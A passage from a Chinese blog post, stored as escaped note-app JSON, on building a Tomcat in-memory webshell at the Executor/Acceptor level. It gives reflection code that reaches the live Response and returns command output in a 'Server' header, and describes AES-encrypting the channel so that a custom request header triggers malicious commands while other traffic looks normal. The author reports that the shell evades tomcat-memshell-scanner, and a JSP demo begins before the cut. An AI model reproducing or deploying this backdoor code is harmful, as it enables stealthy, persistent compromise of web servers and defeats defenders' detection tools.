coyoteResponse;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x243-1659098666497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FQKk-1659098666496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.response.setHook(this);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zv9t-1659098666499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;36Vj-1659098666498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.request.setResponse(this.response);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbTn-1659098666501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jPX1-1659098666500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.request.setHook(this);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o0qu-1659098666503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NcSn-1659098666502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    this.userDataHelper = new UserDataHelper(this.getLog());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z6jK-1659098666505&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0fBl-1659098666504&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WQkL-1659098685360&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IEd8-1659098685358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Aq4-1659098685620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8c20-1659098685618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;......&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W1qG-1659080588789&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vQNW-1659080588786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;并且Response是会封装在Request对象中的：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;090r-1659100517570&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE84a080cc5c5074cc2b84d545d036b041&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jzw7-1659080589010&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbEz-1659080589008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Container中的逻辑处理完之后，Http11Processor会继续对我们的response进行封装：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7hwF-1659101700519&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE92ecc056d298ce78ca3c1b6f4cbbb410&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EoXe-1659080589361&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZSd-1659080589360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们只需将命令执行的结果提前放入Tomcat的response中即可，这里我选择的是header。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iWkY-1659101813202&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SoGu-1659101813200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;PS：最开始的时候走了点弯路，想要把最开始的response结构体中的buffer部分找出来直接put(byte[])进去，后来发现byteBuffer扩容起来很麻烦，而且可能会存在后续tomcat处理将回显部分覆盖的情况。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1bOq-1659101748816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8dL-1659101748814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;so这里直接使用response.addHeader()，将结果放入header中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2A2L-1659102520788&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5CD5-1659102520714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HhAH-1659102520713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       public void getResponse(byte[] res) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cu1T-1659102520716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g8jD-1659102520715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wU9q-1659102520718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cBCC-1659102520717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TI1G-1659102520720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;etR2-1659102520719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8u9n-1659102520722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YVfT-1659102520721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKUa-1659102520724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JjkV-1659102520723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P6Xk-1659102520726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cJkg-1659102520725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AsWI-1659102520728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VubO-1659102520727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZOk5-1659102520730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ZVY-1659102520729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;coip-1659102520732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akpE-1659102520731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Pxl-1659102520734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PUgX-1659102520733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;94CI-1659102520736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nRwc-1659102520735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;handler\&#34;), \&#34;global\&#34;),\&#34;processors\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wOMk-1659102520738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1UqA-1659102520737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    for (Object tmp_object:objects) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AiDh-1659102520740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yZRb-1659102520739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        RequestInfo request = (RequestInfo)tmp_object;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XMoP-1659102520742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0rTE-1659102520741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Response response = (Response) getField(getField(request, \&#34;req\&#34;), \&#34;response\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9TsD-1659102520744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xUR9-1659102520743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        response.addHeader(\&#34;Server\&#34;,new String(res,\&#34;UTF-8\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lnbz-1659102520758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;upv5-1659102520757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                                        System.out.print(\&#34;buffer add\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UukN-1659102520764&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nNQj-1659102520763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RrUi-1659102520767&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gxUL-1659102520766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                } catch (Exception var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vz3P-1659102520769&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rgLB-1659102520768&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    continue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BpdV-1659102520771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WIx0-1659102520770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KjGg-1659102520773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n1Qb-1659102520772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9fAZ-1659102520775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fnFR-1659102520774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DDof-1659102520777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JV9a-1659102520776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PSJ1-1659102520779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5OJQ-1659102520778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FhO8-1659102520781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DjrA-1659102520780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;djLy-1659102520783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lUrU-1659102520782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } catch (Exception ignored) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X87e-1659102520785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4o9f-1659102520784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;23DA-1659102520787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UH1f-1659102520786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gdrh-1659080589541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oA6S-1659080589539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u7M5-1659080589705&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;91aB-1659080589703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Final&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kDeQ-1659066149578&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aVUa-1659066149576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;为通信的隐蔽性，最后做了一下AES加密：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E4pn-1659106260142&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r0sI-1659106260141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终实现的效果为，若检测到request请求中包含我们自定义的header头则会执行相关恶意操作，并在response的自定义header中返回，否则则为正常业务流量：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Tg4-1659106289473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/0/WEBRESOURCE5896c688d66f967754aebeb79ba6f750&#34;,&#34;width&#34;:662,&#34;height&#34;:458},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bwmm-1659106364492&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE4441b313283ab068b0643b0b54442041&#34;,&#34;width&#34;:662,&#34;height&#34;:458},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zKrj-1659106444651&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE4edb2b6b8e69aa8520872a59df66d96f&#34;,&#34;width&#34;:662,&#34;height&#34;:383},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8xnK-1659063777254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oUEb-1659063777252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样的，因为不是在Container中实现的内存马，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;tomcat-memshell-scanner&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]},{&#34;text&#34;:&#34;无法检测到：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OMMU-1659106664771&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/7/WEBRESOURCEd27ffd5db30f0eb1a94ef40c7412d6a7&#34;,&#34;width&#34;:662,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CBb1-1659008587359&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eX8A-1659008587357&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;jsp_demo&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nbqf-1659106816439&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NbRK-1659106815976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xI2H-1659106815975&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.tomcat.util.net.NioEndpoint\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Wej-1659106815978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p629-1659106815977&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.tomcat.util.threads.ThreadPoolExecutor\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6LS3-1659106815980&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEZt-1659106815979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.TimeUnit\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mw1G-1659106815982&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZGDq-1659106815981&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.lang.reflect.Field\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;30Zf-1659106815984&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oTmm-1659106815983&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.BlockingQueue\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UVkN-1659106815986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pbkv-1659106815985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.concurrent.ThreadFactory\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q8VN-1659106815988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iyXe-1659106815987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.nio.ByteBuffer\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yajj-1659106815990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;thO2-1659106815989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.util.ArrayList\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gtzS-1659106815992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w5Kh-1659106815991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.coyote.RequestInfo\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0wH0-1659106815994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekMT-1659106815993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;org.apache.coyote.Response\&#34; %&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KE45-1659106815996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hkTr-1659106815995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;%@ page import=\&#34;java.io.IOException\&#34; 